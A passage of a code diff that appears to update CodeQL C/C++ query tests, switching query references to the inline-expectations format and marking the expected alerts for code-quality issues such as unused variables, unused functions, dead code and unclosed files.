before C++11, marking a constructor as private was an @@ -78,7 +78,7 @@ struct NotFriend { // friend of CopyableByFriend. struct MyClassFriend { CopyableByFriend x; - MyClassFriend& operator=(const MyClassFriend& that) { return *this; } + MyClassFriend& operator=(const MyClassFriend& that) { return *this; } // $ Alert }; // OK or NOT OK? An explicit default and an explicit implementation. @@ -141,7 +141,7 @@ struct ProtectedAssign { // NOT OK: this class gets a copy assignment operator because it can access the // (protected) copy assignment operator of its base class. struct IsAProtectedAssign: public ProtectedAssign { - IsAProtectedAssign(const IsAProtectedAssign& that) {} + IsAProtectedAssign(const IsAProtectedAssign& that) {} // $ Alert }; // OK: this class gets no copy assignment operator. It cannot access the @@ -164,7 +164,7 @@ struct ProtectedCC { // NOT OK: this class gets a copy constructor because it can access the // (protected) copy constructor of its base class. struct IsAProtectedCC: public ProtectedCC { - IsAProtectedCC& operator=(const IsAProtectedCC& that) { return *this; } + IsAProtectedCC& operator=(const IsAProtectedCC& that) { return *this; } // $ Alert }; // OK: this class gets no copy constructor. It cannot access the (protected) @@ -309,5 +309,5 @@ class R1_B { // is generated by the compiler and callable outside the class. class R1_C { public: - R1_C(const R1_C& c) {} + R1_C(const R1_C& c) {} // $ Alert }; diff --git a/cpp/ql/test/query-tests/Best Practices/RuleOfTwo/RuleOfTwo.qlref b/cpp/ql/test/query-tests/Best Practices/RuleOfTwo/RuleOfTwo.qlref index eb42b255e975..1a88c8671415 100644 --- a/cpp/ql/test/query-tests/Best Practices/RuleOfTwo/RuleOfTwo.qlref +++ b/cpp/ql/test/query-tests/Best Practices/RuleOfTwo/RuleOfTwo.qlref @@ -1 +1,2 @@ -Best Practices/RuleOfTwo.ql +query: Best Practices/RuleOfTwo.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Best Practices/SloppyGlobal/SloppyGlobal.qlref b/cpp/ql/test/query-tests/Best Practices/SloppyGlobal/SloppyGlobal.qlref index eb57378dea6b..6d979e18a560 100644 --- a/cpp/ql/test/query-tests/Best Practices/SloppyGlobal/SloppyGlobal.qlref +++ b/cpp/ql/test/query-tests/Best Practices/SloppyGlobal/SloppyGlobal.qlref @@ -1 +1,2 @@ -Best Practices/SloppyGlobal.ql +query: Best Practices/SloppyGlobal.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Best Practices/SloppyGlobal/main.cpp b/cpp/ql/test/query-tests/Best Practices/SloppyGlobal/main.cpp index e279fbf02579..3fec05342802 100644 --- a/cpp/ql/test/query-tests/Best Practices/SloppyGlobal/main.cpp +++ b/cpp/ql/test/query-tests/Best Practices/SloppyGlobal/main.cpp @@ -1,19 +1,19 @@ // main.cpp -int x; // BAD: too short -int ys[1000000]; // BAD: too short +int x; // BAD: too short // $ Alert +int ys[1000000]; // BAD: too short // $ Alert int descriptive_name; // GOOD: sufficient static int z; // GOOD: not a global -int v1; // BAD: too short -int v2; // BAD: too short +int v1; // BAD: too short // $ Alert +int v2; // BAD: too short // $ Alert template -T v3; // BAD: too short +T v3; // BAD: too short // $ Alert template -T v4; // BAD: too short +T v4; // BAD: too short // $ Alert template -T v5; // BAD: too short +T v5; // BAD: too short // $ Alert void use_some_fs() { v2 = 100; diff --git a/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedIncludes/unusedIncludes.cpp b/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedIncludes/unusedIncludes.cpp index b4d0012cd920..98a530cb276b 100644 --- a/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedIncludes/unusedIncludes.cpp +++ b/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedIncludes/unusedIncludes.cpp @@ -1,12 +1,12 @@ // unusedIncludes.cpp -#include "a.h" // unused +#include "a.h" // unused // $ Alert #include "b.h" #include "c.h" #include "d.hpp" -#include "e.hpp" // unused -#include "f.fwd.hpp" // unused -#include "g" // unused +#include "e.hpp" // unused // $ Alert +#include "f.fwd.hpp" // unused // $ Alert +#include "g" // unused // $ Alert int val_b = my_func_b(); int *my_c_ptr = &my_var_c; diff --git a/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedIncludes/unusedIncludes.qlref b/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedIncludes/unusedIncludes.qlref index 9759b522cf3a..c268214a8bf6 100644 --- a/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedIncludes/unusedIncludes.qlref +++ b/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedIncludes/unusedIncludes.qlref @@ -1 +1,2 @@ -Best Practices/Unused Entities/UnusedIncludes.ql +query: Best Practices/Unused Entities/UnusedIncludes.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedLocals/UnusedLocals.qlref b/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedLocals/UnusedLocals.qlref index a206090d0f82..645e1ecaebd8 100644 --- a/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedLocals/UnusedLocals.qlref +++ b/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedLocals/UnusedLocals.qlref @@ -1 +1,2 @@ -Best Practices/Unused Entities/UnusedLocals.ql +query: Best Practices/Unused Entities/UnusedLocals.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedLocals/code.c b/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedLocals/code.c index 74385634c419..313f5048d80f 100644 --- a/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedLocals/code.c +++ b/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedLocals/code.c @@ -7,16 +7,16 @@ void f1(unsigned int x) { } void f2(unsigned int x) { - unsigned int y = x + 1; // BAD: 'y' is unused - unsigned int z = x + 2; // BAD: 'z' is unused + unsigned int y = x + 1; // BAD: 'y' is unused // $ Alert + unsigned int z = x + 2; // BAD: 'z' is unused // $ Alert } #define my_int int #define COMPLEX_MACRO do { int z = 3; } while(0) void f3() { - int x = 1; // BAD: 'x' is unused - my_int y = 2; // BAD: 'y' is unused + int x = 1; // BAD: 'x' is unused // $ Alert + my_int y = 2; // BAD: 'y' is unused // $ Alert COMPLEX_MACRO; // GOOD: unused locals declared in macros are considered OK. } @@ -27,7 +27,7 @@ void write_ptr(int *ptr) { #define ZERO(x) x = 0 int f4() { - int a, b, c, d, e, f, g, h, i, j, k, l, m, n; // BAD: 'n' is unused + int a, b, c, d, e, f, g, h, i, j, k, l, m, n; // BAD: 'n' is unused // $ Alert a = b; c++; @@ -43,13 +43,13 @@ int f4() { } void f5() { - int x; // BAD: 'x' is unused + int x; // BAD: 'x' is unused // $ Alert { int x; { - int x; // BAD: 'x' is unused + int x; // BAD: 'x' is unused // $ Alert } x = 12; @@ -64,7 +64,7 @@ void f6() { int arr2[10]; int arr3[10]; int arr4[10]; - int arr5[10]; // BAD: 'arr5' is unused + int arr5[10]; // BAD: 'arr5' is unused // $ Alert int *ptr; int x; diff --git a/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedLocals/code.cpp b/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedLocals/code.cpp index 3b9904a9a290..af4d2aa33f5f 100644 --- a/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedLocals/code.cpp +++ b/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedLocals/code.cpp @@ -14,7 +14,7 @@ class MyClass { MyClass :: MyClass() { - int a, b, c, d, e; // BAD: 'e' is unused + int a, b, c, d, e; // BAD: 'e' is unused // $ Alert int &f = d; write_ref(a); @@ -29,8 +29,8 @@ MyClass :: ~MyClass() void test() { MyClass mc; // GOOD: constructor and destructor may have side-effects - MyClass *mc_ptr; // BAD: 'mc_ptr' is unused - MyClass &mc_ref = mc; // BAD: 'mc_ref' is unused + MyClass *mc_ptr; // BAD: 'mc_ptr' is unused // $ Alert + MyClass &mc_ref = mc; // BAD: 'mc_ref' is unused // $ Alert } // --- @@ -101,7 +101,7 @@ template void *instantiatedTemplateFunction3() // static unused int variable in twice instantiated template function template void *instantiatedTemplateFunction4() { - static int my_static; // BAD + static int my_static; // BAD // $ Alert static void* my_ptr = 0; return my_ptr; } @@ -129,7 +129,7 @@ void *nonTemplateFunction() // This is a non-template version of the above. void *nonTemplateFunction2() { - static int *my_static; // BAD + static int *my_static; // BAD // $ Alert static void* my_ptr = 0; return my_ptr; } @@ -245,7 +245,7 @@ class MyContainingClass void testFunction() { - MyMethodClass mmc; // BAD: unused + MyMethodClass mmc; // BAD: unused // $ Alert MyConstructorClass mcc; // GOOD MyDerivedClass mdc; // GOOD MyContainingClass mcc2; // GOOD diff --git a/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedLocals/code2.cpp b/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedLocals/code2.cpp index 9a70fe989064..8ec61366ada6 100644 --- a/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedLocals/code2.cpp +++ b/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedLocals/code2.cpp @@ -2,13 +2,13 @@ int test_const_init() { - int v1; // BAD: unused + int v1; // BAD: unused // $ Alert int v2; // GOOD - int v3 = 0; // BAD: unused + int v3 = 0; // BAD: unused // $ Alert int v4 = 0; // GOOD const int v5 = 0; // BAD: unused [NOT DETECTED] const int v6 = 0; // GOOD - constexpr int v7 = 0; // BAD: unused + constexpr int v7 = 0; // BAD: unused // $ Alert constexpr int v8 = 0; // GOOD return v2 + v4 + v6 + v8; @@ -23,7 +23,7 @@ void myFunction() void test_template_parameter() { - constexpr int v1 = 0; // BAD: unused + constexpr int v1 = 0; // BAD: unused // $ Alert constexpr int v2 = 0; // GOOD: used as a template parameter below myFunction(); @@ -39,7 +39,7 @@ class MyBuffer void test_unused() { - MyBuffer myVar1; // BAD: unused + MyBuffer myVar1; // BAD: unused // $ Alert MyBuffer myVar2; // GOOD: used in deliberate void cast below MyBuffer myVar3 __attribute((__unused__)); // GOOD: unused but acknowledged @@ -61,7 +61,7 @@ void test_expect() { int v1 = getter(); // GOOD: v1 is used int v2 = getter(); // GOOD: v2 is used - int v3 = getter(); // BAD: unused + int v3 = getter(); // BAD: unused // $ Alert if (unlikely(v1 < 0)) { @@ -105,7 +105,7 @@ void test_range_based_for() output(v1); } - for (int v2 : myContainer) // BAD: v2 is not used + for (int v2 : myContainer) // BAD: v2 is not used // $ Alert { } } @@ -125,7 +125,7 @@ int test_lambdas1() int test_lambdas2() { - int a, b; // BAD: b is not used + int a, b; // BAD: b is not used // $ Alert auto myLambda = [=]() -> int // BAD: myLambda is not used [NOT DETECTED] (due to containing a Constructor) { return a; diff --git a/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedLocals/errors.c b/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedLocals/errors.c index 5b62ac7500dc..4c3ad88e6d04 100644 --- a/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedLocals/errors.c +++ b/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedLocals/errors.c @@ -7,7 +7,7 @@ void f_error(void) { } void g_error(void) { - int x, y, z; + int x, y, z; // $ Alert // This one should be reported despite the error in another function. z = y + y; } diff --git a/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedStaticFunctions/UnusedStaticFunctions.qlref b/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedStaticFunctions/UnusedStaticFunctions.qlref index dbf4c4e9172c..4865dfd4d434 100644 --- a/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedStaticFunctions/UnusedStaticFunctions.qlref +++ b/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedStaticFunctions/UnusedStaticFunctions.qlref @@ -1 +1,2 @@ -Best Practices/Unused Entities/UnusedStaticFunctions.ql +query: Best Practices/Unused Entities/UnusedStaticFunctions.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedStaticFunctions/unused_functions.c b/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedStaticFunctions/unused_functions.c index e3c2bc809e43..d9290b80d930 100644 --- a/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedStaticFunctions/unused_functions.c +++ b/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedStaticFunctions/unused_functions.c @@ -13,15 +13,15 @@ static void used_function2(void) { printf("Gets run 2\n"); } -static void unused_function(void) { +static void unused_function(void) { // $ Alert printf("Doesn't get run\n"); } -static void unused_function2(void) { +static void unused_function2(void) { // $ Alert printf("Doesn't get run 2\n"); } -static void unused_function3(void) { +static void unused_function3(void) { // $ Alert printf("Doesn't get run 3\n"); unused_function2(); } @@ -60,5 +60,5 @@ static void __attribute__ ((used)) h1(void) { static void __attribute__ ((unused)) h3(void) { } -static void h4(void) { +static void h4(void) { // $ Alert } diff --git a/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedStaticFunctions/unused_mut.c b/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedStaticFunctions/unused_mut.c index 7ce51610eefd..3d824228dbd1 100644 --- a/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedStaticFunctions/unused_mut.c +++ b/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedStaticFunctions/unused_mut.c @@ -2,11 +2,11 @@ static void mut_unused_function(void); static void mut_unused_function2(void); -static void mut_unused_function(void) { +static void mut_unused_function(void) { // $ Alert mut_unused_function2(); } -static void mut_unused_function2(void) { +static void mut_unused_function2(void) { // $ Alert mut_unused_function(); } diff --git a/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedStaticFunctions/unused_static_functions.cpp b/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedStaticFunctions/unused_static_functions.cpp index c0d83b52a578..0c36cf719e4c 100644 --- a/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedStaticFunctions/unused_static_functions.cpp +++ b/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedStaticFunctions/unused_static_functions.cpp @@ -16,7 +16,7 @@ const funstr myClass::fs[] = { }; // f2 is unreachable -static void f2(void) { } +static void f2(void) { } // $ Alert // f3 is reachable via f4/pf3 static void f3(void) { } @@ -30,8 +30,8 @@ void f4(void) { // f5 and f6 are mutually recursive unreachable static functions static void f6(void); -static void f5(void) { f6(); } -static void f6(void) { f5(); } +static void f5(void) { f6(); } // $ Alert +static void f6(void) { f5(); } // $ Alert // f7 and f8 are reachable from `function_caller` static int f7() { return 1; } // GOOD diff --git a/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedStaticFunctions/used_by_var_ref.c b/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedStaticFunctions/used_by_var_ref.c index dc8c10095456..bbbab66f8f46 100644 --- a/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedStaticFunctions/used_by_var_ref.c +++ b/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedStaticFunctions/used_by_var_ref.c @@ -5,9 +5,9 @@ typedef struct _num_fun { } num_fun; static void f(void) {} // Used, via n1 -static void g(void) {} // Not used (n2 is static) +static void g(void) {} // Not used (n2 is static) // $ Alert static void h(void) {} // Used, via n3, via j -static void i(void) {} // Not used (k is static) +static void i(void) {} // Not used (k is static) // $ Alert num_fun n1 = {1, f}; static num_fun n2 = {1, g}; @@ -17,7 +17,7 @@ void j(void) { // Used (not static) num_fun n = n3; } -static void k(void) { // Not used (static) +static void k(void) { // Not used (static) // $ Alert num_fun n = {1, i}; n1.fun = i; } diff --git a/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedStaticVariables/UnusedStaticVariables.qlref b/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedStaticVariables/UnusedStaticVariables.qlref index 1b03ed4104bd..1240fc64dc56 100644 --- a/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedStaticVariables/UnusedStaticVariables.qlref +++ b/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedStaticVariables/UnusedStaticVariables.qlref @@ -1 +1,2 @@ -Best Practices/Unused Entities/UnusedStaticVariables.ql +query: Best Practices/Unused Entities/UnusedStaticVariables.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedStaticVariables/test.cpp b/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedStaticVariables/test.cpp index 2a5eeef6f0f6..0e25037f0513 100644 --- a/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedStaticVariables/test.cpp +++ b/cpp/ql/test/query-tests/Best Practices/Unused Entities/UnusedStaticVariables/test.cpp @@ -4,12 +4,12 @@ static int staticVar1; // GOOD (used) static int staticVar2; // GOOD (used) static int staticVar3 = 3; // GOOD (used) static int staticVar4 = staticVar3; // GOOD (used) -static int staticVar5; // BAD (unused) -static int staticVar6 = 6; // BAD (unused) +static int staticVar5; // BAD (unused) // $ Alert +static int staticVar6 = 6; // BAD (unused) // $ Alert static __attribute__((__unused__)) int staticVar7; // GOOD (unused but this is expected) -const int constVar8 = 8; // BAD (const defaults to static) +const int constVar8 = 8; // BAD (const defaults to static) // $ Alert extern const int constVar9 = 9; // GOOD -static int staticVar10 = 10; // GOOD [FALSE POSITIVE] (referenced in a never instantiated template) +static int staticVar10 = 10; // GOOD [FALSE POSITIVE] (referenced in a never instantiated template) // $ Alert void f() { diff --git a/cpp/ql/test/query-tests/Critical/DeadCodeFunction/DeadCodeFunction.qlref b/cpp/ql/test/query-tests/Critical/DeadCodeFunction/DeadCodeFunction.qlref index d15cbbfecd33..20ad76f506df 100644 --- a/cpp/ql/test/query-tests/Critical/DeadCodeFunction/DeadCodeFunction.qlref +++ b/cpp/ql/test/query-tests/Critical/DeadCodeFunction/DeadCodeFunction.qlref @@ -1 +1,2 @@ -Critical/DeadCodeFunction.ql +query: Critical/DeadCodeFunction.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Critical/DeadCodeFunction/test.cpp b/cpp/ql/test/query-tests/Critical/DeadCodeFunction/test.cpp index 8654b6facd64..e828c24fb8b0 100644 --- a/cpp/ql/test/query-tests/Critical/DeadCodeFunction/test.cpp +++ b/cpp/ql/test/query-tests/Critical/DeadCodeFunction/test.cpp @@ -2,7 +2,7 @@ static void usedByUnused() { } -static void unused() { +static void unused() { // $ Alert usedByUnused(); } diff --git a/cpp/ql/test/query-tests/Critical/DeadCodeGoto/DeadCodeGoto.qlref b/cpp/ql/test/query-tests/Critical/DeadCodeGoto/DeadCodeGoto.qlref index 0786047da5f4..b76abda209d2 100644 --- a/cpp/ql/test/query-tests/Critical/DeadCodeGoto/DeadCodeGoto.qlref +++ b/cpp/ql/test/query-tests/Critical/DeadCodeGoto/DeadCodeGoto.qlref @@ -1 +1,2 @@ -Critical/DeadCodeGoto.ql +query: Critical/DeadCodeGoto.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Critical/DeadCodeGoto/test.cpp b/cpp/ql/test/query-tests/Critical/DeadCodeGoto/test.cpp index 12bef76a1e8a..dd4b5a9c325c 100644 --- a/cpp/ql/test/query-tests/Critical/DeadCodeGoto/test.cpp +++ b/cpp/ql/test/query-tests/Critical/DeadCodeGoto/test.cpp @@ -1,12 +1,12 @@ int test1(int x) { - goto label; // BAD + goto label; // BAD // $ Alert x++; label: return x; } int test2(int x) { do { - break; // BAD + break; // BAD // $ Alert x++; } while(false); return x; @@ -34,7 +34,7 @@ int test5(int x, int y) { goto label; // GOOD break; case 2: - break; // BAD + break; // BAD // $ Alert return x; case 3: return x; diff --git a/cpp/ql/test/query-tests/Critical/FileClosed/FileMayNotBeClosed.qlref b/cpp/ql/test/query-tests/Critical/FileClosed/FileMayNotBeClosed.qlref index 0f09c329e844..8d189be099bf 100644 --- a/cpp/ql/test/query-tests/Critical/FileClosed/FileMayNotBeClosed.qlref +++ b/cpp/ql/test/query-tests/Critical/FileClosed/FileMayNotBeClosed.qlref @@ -1 +1,2 @@ -Critical/FileMayNotBeClosed.ql +query: Critical/FileMayNotBeClosed.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Critical/FileClosed/FileNeverClosed.qlref b/cpp/ql/test/query-tests/Critical/FileClosed/FileNeverClosed.qlref index 825ac26f500c..25b57b1736d7 100644 --- a/cpp/ql/test/query-tests/Critical/FileClosed/FileNeverClosed.qlref +++ b/cpp/ql/test/query-tests/Critical/FileClosed/FileNeverClosed.qlref @@ -1 +1,2 @@ -Critical/FileNeverClosed.ql +query: Critical/FileNeverClosed.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Critical/FileClosed/file.c b/cpp/ql/test/query-tests/Critical/FileClosed/file.c index 3d4bd39b1dce..fcc108631509 100644 --- a/cpp/ql/test/query-tests/Critical/FileClosed/file.c +++ b/cpp/ql/test/query-tests/Critical/FileClosed/file.c @@ -5,7 +5,7 @@ int fclose(FILE *fp); #define NULL ((FILE *)0) void f1(int i) { - FILE *f = fopen("somefile.txt", "r"); + FILE *f = fopen("somefile.txt", "r"); // $ Alert[cpp/file-may-not-be-closed] if (!f) return; @@ -15,7 +15,7 @@ void f1(int i) { } FILE *f2(int i) { - FILE *f = fopen("somefile.txt", "r"); + FILE *f = fopen("somefile.txt", "r"); // $ Alert[cpp/file-may-not-be-closed] if (!f) return NULL; @@ -31,7 +31,7 @@ void g2(int i) { } void f3(int i) { - FILE *f = fopen("somefile.txt", "r"); // Never closed + FILE *f = fopen("somefile.txt", "r"); // Never closed // $ Alert[cpp/file-never-closed] if (!f) return; @@ -63,7 +63,7 @@ void g5(void) { int f6(int b) { FILE *f; - f = fopen("somefile.txt", "r"); // Not always closed + f = fopen("somefile.txt", "r"); // Not always closed // $ Alert[cpp/file-may-not-be-closed] if (f) { if (b) { diff --git a/cpp/ql/test/query-tests/Critical/GlobalUseBeforeInit/GlobalUseBeforeInit.qlref b/cpp/ql/test/query-tests/Critical/GlobalUseBeforeInit/GlobalUseBeforeInit.qlref index a186cc827ec5..7d2be720b2a7 100644 --- a/cpp/ql/test/query-tests/Critical/GlobalUseBeforeInit/GlobalUseBeforeInit.qlref +++ b/cpp/ql/test/query-tests/Critical/GlobalUseBeforeInit/GlobalUseBeforeInit.qlref @@ -1 +1,2 @@ -Critical/GlobalUseBeforeInit.ql +query: Critical/GlobalUseBeforeInit.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Critical/GlobalUseBeforeInit/test.cpp b/cpp/ql/test/query-tests/Critical/GlobalUseBeforeInit/test.cpp index 81883a1a8a16..0a3ceabaef8f 100644 --- a/cpp/ql/test/query-tests/Critical/GlobalUseBeforeInit/test.cpp +++ b/cpp/ql/test/query-tests/Critical/GlobalUseBeforeInit/test.cpp @@ -25,7 +25,7 @@ int my_printf(const char * fmt, ...) return ret; } -int f1() +int f1() // $ Alert { my_printf("%d\n", a + 2); my_printf("%d\n", b + 2); // BAD @@ -36,7 +36,7 @@ void f2() { my_printf("%d\n", b); // GOOD } -int main() +int main() // $ Alert { unsigned size = sizeof(*c); // GOOD my_printf("%d\n", b); // BAD diff --git a/cpp/ql/test/query-tests/Critical/InitialisationNotRun/InitialisationNotRun.qlref b/cpp/ql/test/query-tests/Critical/InitialisationNotRun/InitialisationNotRun.qlref index 7012169e8945..611d7f42e828 100644 --- a/cpp/ql/test/query-tests/Critical/InitialisationNotRun/InitialisationNotRun.qlref +++ b/cpp/ql/test/query-tests/Critical/InitialisationNotRun/InitialisationNotRun.qlref @@ -1 +1,2 @@ -Critical/InitialisationNotRun.ql +query: Critical/InitialisationNotRun.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Critical/InitialisationNotRun/test.cpp b/cpp/ql/test/query-tests/Critical/InitialisationNotRun/test.cpp index ee0d070df088..3a02dc9be822 100644 --- a/cpp/ql/test/query-tests/Critical/InitialisationNotRun/test.cpp +++ b/cpp/ql/test/query-tests/Critical/InitialisationNotRun/test.cpp @@ -9,9 +9,9 @@ class GlobalStorage { char name[1000]; }; -GlobalStorage *g1; // BAD +GlobalStorage *g1; // BAD // $ Alert static GlobalStorage g2; // GOOD -static GlobalStorage *g3; // BAD +static GlobalStorage *g3; // BAD // $ Alert // static variables are initialized by compilers static int a; // GOOD static int b = 0; // GOOD diff --git a/cpp/ql/test/query-tests/Critical/LargeParameter/LargeParameter.qlref b/cpp/ql/test/query-tests/Critical/LargeParameter/LargeParameter.qlref index 6ddcc7785549..379794ff5e73 100644 --- a/cpp/ql/test/query-tests/Critical/LargeParameter/LargeParameter.qlref +++ b/cpp/ql/test/query-tests/Critical/LargeParameter/LargeParameter.qlref @@ -1 +1,2 @@ -Critical/LargeParameter.ql +query: Critical/LargeParameter.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Critical/LargeParameter/test.cpp b/cpp/ql/test/query-tests/Critical/LargeParameter/test.cpp index bf6d3d414fc4..aeddebf3e67c 100644 --- a/cpp/ql/test/query-tests/Critical/LargeParameter/test.cpp +++ b/cpp/ql/test/query-tests/Critical/LargeParameter/test.cpp @@ -13,7 +13,7 @@ class myTemplateClass public: myTemplateClass() {} - void set(T _t) { // BAD: T can be myLargeStruct, which is large + void set(T _t) { // BAD: T can be myLargeStruct, which is large // $ Alert t = _t; } @@ -21,11 +21,11 @@ class myTemplateClass }; template -void myTemplateFunction(myTemplateClass mtc_t) // BAD: T can be myLargeStruct, which is large +void myTemplateFunction(myTemplateClass mtc_t) // BAD: T can be myLargeStruct, which is large // $ Alert { } -void myFunction1(mySmallStruct a, myLargeStruct b) // BAD: b is large +void myFunction1(mySmallStruct a, myLargeStruct b) // BAD: b is large // $ Alert { myTemplateClass mtc_a; myTemplateClass mtc_b; @@ -101,12 +101,12 @@ void myFunction4( } void myFunction5( - MyLargeClass a, // BAD - MyLargeClass b, // BAD - MyLargeClass c, // BAD - MyLargeClass d, // BAD - MyLargeClass e, // BAD - MyLargeClass f // BAD + MyLargeClass a, // BAD // $ Alert + MyLargeClass b, // BAD // $ Alert + MyLargeClass c, // BAD // $ Alert + MyLargeClass d, // BAD // $ Alert + MyLargeClass e, // BAD // $ Alert + MyLargeClass f // BAD // $ Alert ) { const MyLargeClass *mlc_ptr; @@ -158,7 +158,7 @@ struct big void myFunction7( big a, // GOOD - big b // BAD + big b // BAD // $ Alert ) { a.xs[0]++; // modifies a diff --git a/cpp/ql/test/query-tests/Critical/MemoryFreed/DoubleFree.qlref b/cpp/ql/test/query-tests/Critical/MemoryFreed/DoubleFree.qlref index 8e68f14ce223..eab98ddcb530 100644 --- a/cpp/ql/test/query-tests/Critical/MemoryFreed/DoubleFree.qlref +++ b/cpp/ql/test/query-tests/Critical/MemoryFreed/DoubleFree.qlref @@ -1 +1,2 @@ -Critical/DoubleFree.ql +query: Critical/DoubleFree.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Critical/MemoryFreed/MemoryMayNotBeFreed.qlref b/cpp/ql/test/query-tests/Critical/MemoryFreed/MemoryMayNotBeFreed.qlref index 33da8e296e22..84fd18014db0 100644 --- a/cpp/ql/test/query-tests/Critical/MemoryFreed/MemoryMayNotBeFreed.qlref +++ b/cpp/ql/test/query-tests/Critical/MemoryFreed/MemoryMayNotBeFreed.qlref @@ -1 +1,2 @@ -Critical/MemoryMayNotBeFreed.ql \ No newline at end of file +query: Critical/MemoryMayNotBeFreed.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Critical/MemoryFreed/MemoryNeverFreed.qlref b/cpp/ql/test/query-tests/Critical/MemoryFreed/MemoryNeverFreed.qlref index 2d1336a55ebf..108a872987d7 100644 --- a/cpp/ql/test/query-tests/Critical/MemoryFreed/MemoryNeverFreed.qlref +++ b/cpp/ql/test/query-tests/Critical/MemoryFreed/MemoryNeverFreed.qlref @@ -1 +1,2 @@ -Critical/MemoryNeverFreed.ql \ No newline at end of file +query: Critical/MemoryNeverFreed.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Critical/MemoryFreed/UseAfterFree.qlref b/cpp/ql/test/query-tests/Critical/MemoryFreed/UseAfterFree.qlref index e299a3055e04..096090964894 100644 --- a/cpp/ql/test/query-tests/Critical/MemoryFreed/UseAfterFree.qlref +++ b/cpp/ql/test/query-tests/Critical/MemoryFreed/UseAfterFree.qlref @@ -1 +1,2 @@ -Critical/UseAfterFree.ql \ No newline at end of file +query: Critical/UseAfterFree.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Critical/MemoryFreed/my_auto_ptr.cpp b/cpp/ql/test/query-tests/Critical/MemoryFreed/my_auto_ptr.cpp index e7c00bdf0048..dbd6e90bed45 100644 --- a/cpp/ql/test/query-tests/Critical/MemoryFreed/my_auto_ptr.cpp +++ b/cpp/ql/test/query-tests/Critical/MemoryFreed/my_auto_ptr.cpp @@ -52,9 +52,9 @@ template class AutoContainer2 { public: - AutoContainer2() : v(new T) // GOOD [FALSE POSITIVE] + AutoContainer2() : v(new T) // GOOD [FALSE POSITIVE] // $ Alert[cpp/memory-never-freed] { - ns::my_auto_ptr ap(new T); // GOOD [FALSE POSITIVE] + ns::my_auto_ptr ap(new T); // GOOD [FALSE POSITIVE] // $ Alert[cpp/memory-never-freed] } ns::my_auto_ptr v; @@ -68,7 